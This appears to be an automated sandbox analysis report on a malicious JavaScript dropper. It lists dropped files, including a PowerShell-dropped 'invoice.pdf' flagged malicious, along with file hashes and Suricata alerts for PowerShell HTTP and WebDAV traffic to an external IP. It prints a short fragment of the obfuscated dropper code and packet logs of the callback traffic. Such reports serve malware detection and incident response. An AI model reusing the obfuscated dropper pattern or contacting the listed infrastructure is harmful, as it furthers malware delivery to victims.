Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\21e46538-a0d5-4530-ae2a-9c3901a216e1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\54db0961-f06a-46bd-bb44-506d404157ed.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cb870cc3-6fe8-4449-b4ad-dab0f5f3b070.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f8022732-6713-4af4-b54e-563e2cb0797e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18405), with CRLF line terminators
Entropy (8bit):	4.908498786614787
TrID:
File name:	390712401072120127.js
File size:	22'000 bytes
MD5:	349cfddd48131dc477bcb8cc48de9dfd
SHA1:	6b1e2b478c80b9eb720081b7fd38d41d2b44f0df
SHA256:	8b8704160616dabbe725b260fa3856d554297eb035c8e36da6a07af6259de5c1
SHA512:	5dfec80abd1532109698a783e59158708410e83f88038fe8f10b5a05cf30f6e97102f211c29998236aafd0f72d6ae9f7a0378c5305ed8d980728485883b12f5b
SSDEEP:	384:HSYkS/tBxVC8fhLrGfVqhHVaCat/1aWRWk9PGWVfW/EgUZxSh5:HSYkSxG+Ip//Yk95W/EgUZE5
TLSH:	3CA265C880176EB9DBE152B56AA60E913DF0834C8B50B45E4E41384D9389E74FED2FF6
File Content Preview:	function gbcbehdhx(){xlozcr=[1031,3079,5127,4103,2055,3072];var wglyx=this[urtwwtup+mzleukjgv+deejd+wtoyqdvhj+tsaqdld+amsib+ytocrynxs+vmrytkhb](this[ohsficye+pfwuihb+jfnxrdazq+deejd+mpzgaz+urtwwtup+vmrytkhb][essarsv+deejd+tsaqdld+mzleukjgv+vmrytkhb+tsaqdl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:28:17.690182+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-10T19:28:19.971939+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:28:16.836476088 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:16.841264009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:16.841442108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:16.844512939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:16.849351883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690088987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690103054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690114975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690145969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690181971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.690181971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.690273046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690315962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690325022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690341949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.690433025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690443993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690517902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.690521002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.690670013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.694964886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.694987059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.695024014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.742234945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.742258072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.742269039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.742444038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.829262018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.829299927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.829310894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.829401016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.829411983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.829432964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.829432964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.829699993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.829751015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.829760075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.829794884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.829794884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.830037117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.830085039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.830095053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.830184937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.830463886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.830513954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.830524921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.830538988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.830552101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.830621004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.830631018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.830756903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.831305027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.831357956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.831370115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.831492901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.838448048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.838466883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.838532925 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.862390041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.862454891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.862464905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.862529039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.862565041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.862565041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.909553051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.931660891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.931679964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.932002068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.949328899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949373007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949383974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949489117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949543953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949553013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.949556112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949587107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.949587107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.949820042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949839115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949850082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949955940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949966908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.949981928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.950151920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.950457096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.950474977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.950522900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.950552940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.950565100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.950663090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.950674057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.950685024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.950705051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.950705051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.950788975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.951425076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.951463938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.951473951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.951555967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.951559067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.951570034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.951618910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.951647043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.951657057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.951680899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.952374935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.952413082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.952424049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.952445030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.952521086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.952532053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.952542067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.952553988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.952581882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.952614069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.952694893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.953327894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.953371048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.953382015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.953423977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.953465939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.953510046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.953521013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.953540087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.953593016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.953672886 CET	49706	80	192.168.2.8	193.143.1.205
